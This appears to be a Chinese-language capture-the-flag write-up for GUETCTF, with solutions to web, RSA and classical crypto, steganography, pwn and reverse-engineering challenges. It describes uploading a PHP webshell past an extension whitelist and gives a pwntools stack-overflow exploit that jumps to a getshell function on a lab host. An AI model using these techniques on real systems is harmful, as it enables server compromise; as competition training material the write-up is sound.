Web
Upload
文件上传,查看源码发现白名单是png,jpg和gif
写一个一句话木马
提交后用bp把文件后缀名改为php
然后就用蚁剑连接
在根目录下发现flag
Crypto
大学生张三
解压后是一个图片
是希腊字母
对照希腊字母大小写解出flag:GUeTctf{LaTeX iS goOD}
不过出题方好像是要我们找到他们的发音什么的,这是非预期
柯南道尔的手稿
前一半flag是替换密码,用qiuqiu解密
得到一半的flag:guetctf{m0no@1ph@betic_cipher_@nd_
翻译文章得到了key:fuermosi
用维吉尼亚密码解密得到后半flag:v19enere}
初中生张三
下载得到两个文件
output.txt:
n = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
c = 1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611
gift = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579487436630315165023708642270933734182788884753935630472347474207436398366750124020713041945559582979845489974546171220269274785420798932077498634255551078266569814537282069392884251498459424382395431598314059145440756188749451813602760399832987773292896793499527246728557019917385596236288618589252285262735677647360
challenge:
from Crypto.Util.number import *
from GUETCTF import flag
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
m = bytes_to_long(flag)
c = pow(m, e, n)
gift = (p+e)*(q-e)
output = open('output.txt', 'w')
output.write('n = ' + str(n) + '\n')
output.write('c = ' + str(c) + '\n')
output.write('gift = ' + str(gift) + '\n')
利用gift与n算p,q
sage:
n = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
c = 1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611
gift = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579487436630315165023708642270933734182788884753935630472347474207436398366750124020713041945559582979845489974546171220269274785420798932077498634255551078266569814537282069392884251498459424382395431598314059145440756188749451813602760399832987773292896793499527246728557019917385596236288618589252285262735677647360
e = 0x10001
var('p q')
solve([(p+e)*(q-e)==gift,p * q==n],[p,q])
得到
[p == 150414490626131999840290275061353186166370322157486732633324629991276538677683227821774756078749332578169204118089196270868895587269842124291802615666317942002482915541149325838526414071563893000512999418976026095744564441490868843345059661074084081258480389396836118352516862360718545807908937715376916455003, q == 99714758090682937887894704292011421182518149287516665632313811573386865991473127961865812260826877001626110497349336821330809165012395884137065729939860249551404040230371599452917884071753755136760518035833468469511966799014970191212427252065378388960117005995845758986124686849183450046239192340618764609921]
解密脚本
import gmpy2
from Crypto.Util.number import *
def Decrypt(c,e,p,q):
L=(p-1)*(q-1)
d = gmpy2.invert(e,L)
n=p*q
m=gmpy2.powmod(c,d,n)
flag=str(m)
return flag
p =150414490626131999840290275061353186166370322157486732633324629991276538677683227821774756078749332578169204118089196270868895587269842124291802615666317942002482915541149325838526414071563893000512999418976026095744564441490868843345059661074084081258480389396836118352516862360718545807908937715376916455003
n =14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
q = n//p
e = 0x10001
c =1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611
print (Decrypt(c,e,p,q))
print(long_to_bytes(int(Decrypt(c,e,p,q)))) #long_to_bytes正整数转化为byte类型字符串
GUETCTF{One_E2_equ@ti0n5}
MICS
冬天到了
解压后得到一个图片,下部分有个红色的竖线,猜想是长不够,修改长发现
Password:snow_snow_snow
把图片拉入010editor,发现有flag.txt和压缩包的开头,用foremost分离压缩包
压缩包里面的flag.txt
使用snow.exe解密,密码:snow_snow_snow
得到flag:GUETCTF{Th3_sn0w_1s_b3aut1ful}
PWN
pwn1
直接用nc连接,cat flag
pwn2
使用 checksec 检查保护以及位数。
可以看到题目是 64 位的,只开了 NX 保护。接着将 pwn2 文件放入 ida64 中进行反编译。
进入 ida 后使用 F5 加载伪代码。
分析main函数
通过观察可以发现,定义了两个数组一个是 v4,一个是 buf 大小都是 32。 接着观察主体函数逻辑,首先有三个 puts 函数进行打印文本,接着出现一个 read 函数。
对该 read 函数进行分析。 read函数读取我们所输入的内容将其存在buf数组中,但是定义了只能接受0xA大小的数据。 明显无法构造我们所需要的 ROP 链,这里不存在漏洞。 分析下一个 read 函数,可以看到该 read 函数可以接受 0x80 大小的数据。
点击buf发现
可以看到 ret 返回地址处在 0x40+0x8 的地方,但是我们可以输入 0x80 大小的数据。此处存在栈溢出漏洞。
接着在 ida 中找到了 getshell 函数
点击bin
那么 system 函数的位置就在 0x40067A 的位置上了。 那就直接编写 exp 就好了 exp 如下:
from pwn import*
context.log_level = 'debug'
p = remote('172.16.64.96',9199)
system_addr = 0x40067A
p.recvuntil('Please input your name.')
p.sendline(b'aaaa')
p.recvuntil('Please input your password.')
payload = b'a'*(0x48) + p64(system_addr)
p.sendline(payload)
p.interactive()
flag:
GUETCTF{c719652a-baf2-4875-ad9a-4be0047cf706}
RESVER
Re3
题目描述:
已经给了提示是异常的 base64 了
先运行看看
丢 exeinfo,无壳,64 位
丢 ida,找到主函数反汇编
跟进 base64_encode 加密函数
大概就是 flag 经过不一样的 Base64 加密后得到的字符串和 v4 进行比较,相等则
成功
查看 v4 字符串,这里是小端序,字符串从右往左看
所以 v4 为 F1JTJSBIFntXL0wwdmJfF3IzdV0=
猜测是对正常的 base64 加密的字符串进行替换,用 x64dbg 来看
想到比赛说 flag 都是由 GUETCTF{}包裹,试试运气看看 GUETCTF,丢进 x64dbg
证明猜想是正确的,且可以知道异常 base64 加密就是对正常 base64 加密的大写
字母进行了替换,其余的均不变
主要的替换规则如下
手动换字母得到 R1VFVENURntJX0wwdmVfR3UzdH0=
提交确实是 flag